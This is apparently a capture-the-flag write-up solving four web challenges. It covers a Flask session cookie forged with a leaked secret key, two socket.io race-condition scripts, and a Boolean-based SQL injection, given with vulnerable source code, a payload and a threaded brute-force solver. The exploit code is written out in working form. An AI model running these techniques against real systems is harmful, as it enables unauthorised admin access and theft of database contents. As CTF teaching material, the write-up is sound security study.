# USCTF WRITEUP ALL WEB
## Tommy's Artventures [400]
In this challenge, we are given an attachment containing a secret key, which we will use to modify the username in the JWT to become an admin.
### Exploit
Here is the JWT from the web session:
```bash
└─$ flask-unsign --decode --cookie 'eyJ1c2VyIjoiYnlmMXNoIn0.ZyeHSQ.4IK_Fl_7Sei-reTlE8sFYWpXSto'
{'user': 'byf1sh'}
```
After decoding the JWT, we get `'user' : '<user>'`. Our task here is to change the user to "admin". We can use `flask-unsign` to sign it because we have the secret key, which makes this task easier.
```bash
└─$ /home/byf1sh/.local/bin/flask-unsign --sign --cookie "{'user': 'admin'}" --secret '4a6282bf78c344a089a2dc5d2ca93ae6'
eyJ1c2VyIjoiYWRtaW4ifQ.ZyeH9Q.t7TFID-rUA0vLv-Yky39ECboTtY
```
Then, copy the JWT above to the inspect element and visit the `/curate` endpoint to get the flag.
```
CYBORG{oce4n5_auth3N71ca7i0N}
```
## tictactocket [400]
In this challenge, we are presented with a tic-tac-toe game, and we are required to win to get the flag. Since the computer plays very well, we can exploit an overwrite section in the game because there is no request handling to prevent repeated requests in certain sections. Below is the solver code.
### Solver Code
```python
import socketio
import threading
import time
# Initialize socket.io client
sio = socketio.Client()
# Game ID will be stored here after starting a new game
game_id = None
# Function to handle connection
@sio.event
def connect():
print("Connected to server")
# Send event to start a new game
sio.emit('client_new_game')
# Function to handle new game start from the server
@sio.on('server_new_game')
def on_new_game(data):
global game_id
print(f'Data from server_new_game: {data}')
game_id = data['game_id']
print(f"New game started with ID: {game_id}")
print("Waiting for your turn to start...")
# Function to place a move on a specific square
def place_square(square):
if game_id is not None:
sio.emit('client_place_square', {'game_id': game_id, 'square': square})
print(f"Selecting square {square}")
# Function to update the game board after each move
@sio.on('server_board_update')
def on_board_update(data):
# Display board status
board = ["X" if x == 0 else "O" if x == 1 else " " for x in data['board']]
for i in range(0, 9, 3):
print(f"{board[i]} | {board[i+1]} | {board[i+2]}")
# Check turn or game result
if data['winner'] == 0:
print(f"Flag: {data['flag']}")
print("You won! You might have obtained the flag.")
elif data['winner'] == 1:
print("You lost...")
elif data['winner'] == 3:
print("It's a draw.")
elif data['turn'] == 0: # Player's turn
print("Your turn")
perform_user_moves() # Request user input if it's the player's turn
# Function to request user moves
def perform_user_moves():
try:
# First move
square = int(input("Choose the first square (0-8): "))
if square == 2:
print("Starting race condition...")
attempt_race_condition() # Using race condition if user inputs 2
return
place_square(square)
time.sleep(1) # Short delay to allow server to process the first move
# Second move
square = int(input("Choose the second square (0-8): "))
if square == 2:
print("Starting race condition...")
attempt_race_condition() # Using race condition if user inputs 2
return
place_square(square)
time.sleep(1) # Short delay before the third move
# Third move
square = int(input("Choose the third square or enter '2' to start race condition: "))
if square == 2:
print("Starting race condition on the third move...")
attempt_race_condition() # Using race condition on the third move
else:
place_square(square)
except ValueError:
print("Invalid input, please enter a number between 0-8.")
# Function to perform race condition on the third move
def attempt_race_condition():
# Select the target square to manipulate for race condition
target_square = 2
# Send multiple threads to the same square to trigger race condition
threads = []
for i in range(20): # Increase thread count to improve race condition probability
t = threading.Thread(target=place_square, args=(target_square,))
threads.append(t)
t.start()
# Wait for all threads to finish
for t in threads:
t.join()
# Function to handle disconnection
@sio.event
def disconnect():
print("Disconnected from server")
# Connect to the server
sio.connect('https://usc-tictactocket.chals.io', wait_timeout=10)
# Remain active until the game is finished
sio.wait()
```
To run the code, input like the following: 0, 1, 2, and you should get the flag.
```
CYBORG{S3RVER_W45_0VERTRUST1NG}
```
## Spooky Query Leaks [450]
In this challenge, we found an SQL injection vulnerability in the register form because of a lack of sanitization on the input parameters, allowing us to perform a Boolean-based SQLi attack. This can be exploited to read the contents of the `flag` table and obtain the flag.
### Source Code
```python
from flask import Flask, render_template, request, redirect, session, g
from werkzeug.security import generate_password_hash, check_password_hash
import sqlite3
app = Flask(__name__)
app.secret_key = 'REDACTED'
DATABASE = 'challenge.db'
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
cursor = get_db().cursor()
try:
cursor.execute(f"INSERT INTO users (username, password) VALUES ('{username}', '{generate_password_hash(password)}')")
get_db().commit()
return redirect('/login')
except sqlite3.IntegrityError:
return "Username already taken."
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
cursor = get_db().cursor()
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
user = cursor.fetchone()
if user and check_password_hash(user['password'], password):
session['username'] = user['username']
return redirect('/dashboard')
else:
return "Invalid credentials."
return render_template('login.html')
@app.route('/dashboard')
def dashboard():
if 'username' not in session:
return redirect('/login')
username = session['username']
cursor = get_db().cursor()
if username == 'admin':
cursor.execute("SELECT flag FROM flags")
flag = cursor.fetchone()['flag']
return render_template('dashboard.html', username=username, flag=flag)
return render_template('dashboard.html', username=username, flag=None)
if __name__ == '__main__':
app.run(debug=False)
```
As seen in the code, the register input is inserted directly without sanitization, which allows us to use Boolean-based SQLi to read the `flag` table. Below is the payload:
```sql
bian' || (SELECT 'tr' WHERE SUBSTR((SELECT flag FROM flags),1,1)='FUZZ') || 'tue
```
The above code reads the first element of the `flag` column in the `flags` table. If the first element is FUZZ, the registration will succeed; otherwise, it will fail. Here is the solver code.
```python
import requests
import concurrent.futures
# URL endpoint
url = 'https://usc-spookyql.chals.io/1596345a-537d-4b96-af71-de75ded8fad0/'
# Function to register a username
def regis(data):
response = requests.post(url + 'register', data)
return response.text
fuzz = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789
0{}_!@#$%^&*()-'
flag = ''
# Function to test one character at a specific position
def try_character(i, a):
data = {
"username": f"my' || (SELECT 'tr' WHERE SUBSTR((SELECT flag FROM flags),{i},1)='{a}') || 'ue{i}",
"password": "abc"
}
out = regis(data)
return (i, a, out)
# Main function to brute-force each position of the flag
for i in range(1, 50):
with concurrent.futures.ThreadPoolExecutor() as executor:
# Create threads to test each character in 'fuzz'
futures = {executor.submit(try_character, i, a): a for a in fuzz}
for future in concurrent.futures.as_completed(futures):
a = futures[future]
try:
pos, char, output = future.result()
print(i)
# If the response shows that the character is correct, add it to the flag
if 'Username already taken' not in output:
flag += char
print(output)
print(f"Flag so far: {flag}")
break # Stop searching if the correct character is found
except Exception as e:
print(f"Error with character {a} at position {i}: {e}")
print(f"Final flag: {flag}")
```
```
CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}
```
## tictacBINGO [500]
In this challenge, we encounter what seems to be a tic-tac-toe game. However, no matter what we do, we cannot win or lose, even if the bot successfully completes a line.
After some exploration, it turns out that we need to fill all sections with `X` to win. We can exploit a *Race Condition* to fill all sections with the flag and get the flag.
### Solver Code
```python
import socketio
import time
sio = socketio.Client()
SERVER_URL = "https://usc-tictacbingo.chals.io" # Replace with the actual server URL
game_id = None # Replace with the actual game_id
@sio.event
def connect():
print("Connected to server")
# Send event to start a new game
sio.emit('client_new_game')
@sio.on('server_new_game')
def on_new_game(data):
global game_id
print(f'Data from server_new_game: {data}')
game_id = data['game_id']
print(f"New game started with ID: {game_id}")
print("Waiting for your turn to start...")
send_forced_win()
def send_forced_win():
winning_squares = [6, 7, 8, 0, 1, 2, 3, 5, 4]
for square in winning_squares:
sio.emit('client_place_square', {
'game_id': game_id,
'square': square
})
print(f"Sent move for square {square}")
time.sleep(0) # Short delay to avoid sending too quickly
print("Forced winning moves sent to the server.")
@sio.on('server_board_update')
def on_board_update(data):
# Display board status
board = ["X" if x == 0 else "O" if x == 1 else " " for x in data['board']]
for i in range(0, 9, 3):
print(f"{board[i]} | {board[i+1]} | {board[i+2]}")
if data['winner'] == 0:
print(f"Flag: {data['flag']}")
print("You won! You might have obtained the flag.")
elif data['winner'] == 1:
print("You lost...")
elif data['winner'] == 3:
print("It's a draw.")
elif data['turn'] == 0: # Player's turn
print("Your turn")
@sio.event
def disconnect():
print("Disconnected from server")
@sio.event
def connect_error():
print("Connection failed!")
sio.connect(SERVER_URL, wait_timeout=10)
sio.wait()
```
```
CYBORG{th15_is_w3bs0cke7s_no7_osu!}
```